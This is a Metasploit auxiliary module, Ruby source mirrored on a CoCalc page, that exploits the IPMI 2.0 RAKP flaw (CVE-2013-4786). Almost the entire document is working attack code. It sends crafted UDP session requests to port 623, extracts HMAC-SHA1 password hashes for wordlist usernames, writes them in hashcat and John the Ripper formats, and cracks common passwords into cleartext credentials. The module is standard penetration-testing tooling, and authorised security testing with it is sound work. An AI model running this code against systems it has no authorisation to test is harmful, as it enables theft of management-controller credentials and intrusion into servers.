CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/auxiliary/scanner/ipmi/ipmi_dumphashes.rb
Views: 1904
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Auxiliary
7
include Msf::Auxiliary::Report
8
include Msf::Auxiliary::Scanner
9
10
def initialize
11
super(
12
'Name' => 'IPMI 2.0 RAKP Remote SHA1 Password Hash Retrieval',
13
'Description' => %q|
14
This module identifies IPMI 2.0-compatible systems and attempts to retrieve the
15
HMAC-SHA1 password hashes of default usernames. The hashes can be stored in a
16
file using the OUTPUT_FILE option and then cracked using hmac_sha1_crack.rb
17
in the tools subdirectory as well hashcat (cpu) 0.46 or newer using type 7300.
18
|,
19
'Author' => [ 'Dan Farmer <zen[at]fish2.com>', 'hdm' ],
20
'License' => MSF_LICENSE,
21
'References' =>
22
[
23
['URL', 'http://fish2.com/ipmi/remote-pw-cracking.html'],
24
['URL', 'https://seclists.org/bugtraq/2014/Apr/16'], # HP's SSRT101367
25
['CVE', '2013-4786'],
26
['OSVDB', '95057'],
27
['BID', '61076'],
28
],
29
'DisclosureDate' => 'Jun 20 2013'
30
)
31
32
register_options(
33
[
34
Opt::RPORT(623),
35
OptPath.new('USER_FILE', [ true, "File containing usernames, one per line",
36
File.join(Msf::Config.install_root, 'data', 'wordlists', 'ipmi_users.txt')
37
]),
38
OptPath.new('PASS_FILE', [ true, "File containing common passwords for offline cracking, one per line",
39
File.join(Msf::Config.install_root, 'data', 'wordlists', 'ipmi_passwords.txt')
40
]),
41
OptString.new('OUTPUT_HASHCAT_FILE', [false, "Save captured password hashes in hashcat format"]),
42
OptString.new('OUTPUT_JOHN_FILE', [false, "Save captured password hashes in john the ripper format"]),
43
OptBool.new('CRACK_COMMON', [true, "Automatically crack common passwords as they are obtained", true]),
44
OptInt.new('SESSION_RETRY_DELAY', [true, "Delay between session retries in seconds", 5]),
45
OptInt.new('SESSION_MAX_ATTEMPTS', [true, "Maximum number of session retries, required on certain BMCs (HP iLO 4, etc)", 5])
46
])
47
48
end
49
50
def post_auth?
51
true
52
end
53
54
def ipmi_status(msg)
55
vprint_status("#{rhost}:#{rport} - IPMI - #{msg}")
56
end
57
58
def ipmi_error(msg)
59
vprint_error("#{rhost}:#{rport} - IPMI - #{msg}")
60
end
61
62
def ipmi_good(msg)
63
print_good("#{rhost}:#{rport} - IPMI - #{msg}")
64
end
65
66
def run_host(ip)
67
68
ipmi_status("Sending IPMI probes")
69
70
usernames = []
71
passwords = []
72
73
# Load up our username list (save on open fds)
74
::File.open(datastore['USER_FILE'], "rb") do |fd|
75
fd.each_line do |line|
76
usernames << line.strip
77
end
78
end
79
usernames << ""
80
usernames = usernames.uniq
81
82
# Load up our password list (save on open fds)
83
::File.open(datastore['PASS_FILE'], "rb") do |fd|
84
fd.each_line do |line|
85
passwords << line.gsub(/\r?\n?/, '')
86
end
87
end
88
passwords << ""
89
passwords = passwords.uniq
90
91
delay_value = datastore['SESSION_RETRY_DELAY'].to_i
92
max_session_attempts = datastore['SESSION_MAX_ATTEMPTS'].to_i
93
94
self.udp_sock = Rex::Socket::Udp.create({'Context' => {'Msf' => framework, 'MsfExploit' => self}})
95
add_socket(self.udp_sock)
96
97
reported_vuln = false
98
session_succeeded = false
99
100
usernames.each do |username|
101
console_session_id = Rex::Text.rand_text(4)
102
console_random_id = Rex::Text.rand_text(16)
103
104
ipmi_status("Trying username '#{username}'...")
105
106
rakp = nil
107
sess = nil
108
sess_data = nil
109
110
# It may take multiple tries to get a working "session" on certain BMCs (HP iLO 4, etc)
111
1.upto(max_session_attempts) do |attempt|
112
113
r = nil
114
1.upto(3) do
115
udp_send(Rex::Proto::IPMI::Utils.create_ipmi_session_open_request(console_session_id))
116
r = udp_recv(5.0)
117
break if r
118
end
119
120
unless r
121
ipmi_status("No response to IPMI open session request")
122
rakp = nil
123
break
124
end
125
126
sess = process_opensession_reply(*r)
127
unless sess
128
ipmi_status("Could not understand the response to the open session request")
129
rakp = nil
130
break
131
end
132
133
if sess.data.length < 8
134
ipmi_status("Refused IPMI open session request, waiting #{delay_value} seconds")
135
rakp = nil
136
sleep(delay_value) if session_succeeded
137
next # break
138
end
139
140
session_succeeded = true
141
142
sess_data = Rex::Proto::IPMI::Session_Data.new.read(sess.data)
143
144
r = nil
145
1.upto(3) do
146
udp_send(Rex::Proto::IPMI::Utils.create_ipmi_rakp_1(sess_data.bmc_session_id, console_random_id, username))
147
r = udp_recv(5.0)
148
break if r
149
end
150
151
unless r
152
ipmi_status("No response to RAKP1 message")
153
next
154
end
155
156
rakp = process_rakp1_reply(*r)
157
unless rakp
158
ipmi_status("Could not understand the response to the RAKP1 request")
159
rakp = nil
160
break
161
end
162
163
# Sleep and retry on session ID errors
164
if rakp.error_code == 2
165
ipmi_error("Returned a Session ID error for username #{username} on attempt #{attempt}")
166
Rex.sleep(1)
167
next
168
end
169
170
if rakp.error_code != 0
171
ipmi_error("Returned error code #{rakp.error_code} for username #{username}: #{Rex::Proto::IPMI::RMCP_ERRORS[rakp.error_code].to_s}")
172
rakp = nil
173
break
174
end
175
176
# TODO: Finish documenting this error field
177
if rakp.ignored1 != 0
178
ipmi_error("Returned error code #{rakp.ignored1} for username #{username}")
179
rakp = nil
180
break
181
end
182
183
# Check if there is hash data
184
if rakp.data.length < 56
185
rakp = nil
186
break
187
end
188
189
# Break out of the session retry code if we make it here
190
break
191
end
192
193
# Skip to the next user if we didnt get a valid response
194
next if !rakp
195
196
# Calculate the salt used in the hmac-sha1 hash
197
rakp_data = Rex::Proto::IPMI::RAKP2_Data.new.read(rakp.data)
198
hmac_buffer = Rex::Proto::IPMI::Utils.create_rakp_hmac_sha1_salt(
199
console_session_id,
200
sess_data.bmc_session_id,
201
console_random_id,
202
rakp_data.bmc_random_id,
203
rakp_data.bmc_guid,
204
0x14,
205
username
206
)
207
208
sha1_salt = hmac_buffer.unpack("H*")[0]
209
sha1_hash = rakp_data.hmac_sha1.unpack("H*")[0]
210
211
if sha1_hash == "0000000000000000000000000000000000000000"
212
ipmi_error("Returned a bogus SHA1 hash for username #{username}")
213
next
214
end
215
216
ipmi_good("Hash found: #{username}:#{sha1_salt}:#{sha1_hash}")
217
218
write_output_files(rhost, username, sha1_salt, sha1_hash)
219
220
# Write the rakp hash to the database
221
hash = "#{rhost} #{username}:$rakp$#{sha1_salt}$#{sha1_hash}"
222
core_id = report_hash(username, hash)
223
# Write the vulnerability to the database
224
unless reported_vuln
225
report_vuln(
226
:host => rhost,
227
:port => rport,
228
:proto => 'udp',
229
:sname => 'ipmi',
230
:name => 'IPMI 2.0 RMCP+ Authentication Password Hash Exposure',
231
:info => "Obtained password hash for user #{username}: #{sha1_salt}:#{sha1_hash}",
232
:refs => self.references
233
)
234
reported_vuln = true
235
end
236
237
# Offline crack common passwords and report clear-text credentials
238
next unless datastore['CRACK_COMMON']
239
240
passwords.uniq.each do |pass|
241
pass = pass.strip
242
next unless pass.length > 0
243
next unless Rex::Proto::IPMI::Utils.verify_rakp_hmac_sha1(hmac_buffer, rakp_data.hmac_sha1, pass)
244
ipmi_good("Hash for user '#{username}' matches password '#{pass}'")
245
246
# Report the clear-text credential to the database
247
report_cracked_cred(username, pass, core_id)
248
break
249
end
250
end
251
end
252
253
def process_opensession_reply(data, shost, sport)
254
shost = shost.sub(/^::ffff:/, '')
255
info = Rex::Proto::IPMI::Open_Session_Reply.new.read(data) rescue nil
256
return unless info && info.session_payload_type == Rex::Proto::IPMI::PAYLOAD_RMCPPLUSOPEN_REP
257
info
258
end
259
260
def process_rakp1_reply(data, shost, sport)
261
shost = shost.sub(/^::ffff:/, '')
262
info = Rex::Proto::IPMI::RAKP2.new.read(data) rescue nil
263
return unless info && info.session_payload_type == Rex::Proto::IPMI::PAYLOAD_RAKP2
264
info
265
end
266
267
268
def write_output_files(rhost, username, sha1_salt, sha1_hash)
269
if datastore['OUTPUT_HASHCAT_FILE']
270
::File.open(datastore['OUTPUT_HASHCAT_FILE'], "ab") do |fd|
271
fd.write("#{rhost} #{username}:#{sha1_salt}:#{sha1_hash}\n")
272
fd.flush
273
end
274
end
275
276
if datastore['OUTPUT_JOHN_FILE']
277
::File.open(datastore['OUTPUT_JOHN_FILE'], "ab") do |fd|
278
fd.write("#{rhost} #{username}:$rakp$#{sha1_salt}$#{sha1_hash}\n")
279
fd.flush
280
end
281
end
282
end
283
284
def service_data
285
{
286
address: rhost,
287
port: rport,
288
service_name: 'ipmi',
289
protocol: 'udp',
290
workspace_id: myworkspace_id
291
}
292
end
293
294
def report_hash(user, hash)
295
credential_data = {
296
module_fullname: self.fullname,
297
origin_type: :service,
298
private_data: hash,
299
private_type: :nonreplayable_hash,
300
jtr_format: 'rakp',
301
username: user,
302
}.merge(service_data)
303
304
login_data = {
305
core: create_credential(credential_data),
306
status: Metasploit::Model::Login::Status::UNTRIED
307
}.merge(service_data)
308
309
cl = create_credential_login(login_data)
310
cl ? cl.core_id : nil
311
end
312
313
def report_cracked_cred(user, password, core_id)
314
cred_data = {
315
core_id: core_id,
316
username: user,
317
password: password
318
}
319
320
create_cracked_credential(cred_data)
321
end
322
323
#
324
# Helper methods (these didn't quite fit with existing mixins)
325
#
326
327
attr_accessor :udp_sock
328
329
def udp_send(data)
330
begin
331
udp_sock.sendto(data, rhost, datastore['RPORT'], 0)
332
rescue ::Interrupt
333
raise $!
334
rescue ::Exception
335
end
336
end
337
338
def udp_recv(timeo)
339
r = udp_sock.recvfrom(65535, timeo)
340
r[1] ? r : nil
341
end
342
343
def rhost
344
datastore['RHOST']
345
end
346
347
def rport
348
datastore['RPORT']
349
end
350
end
351
352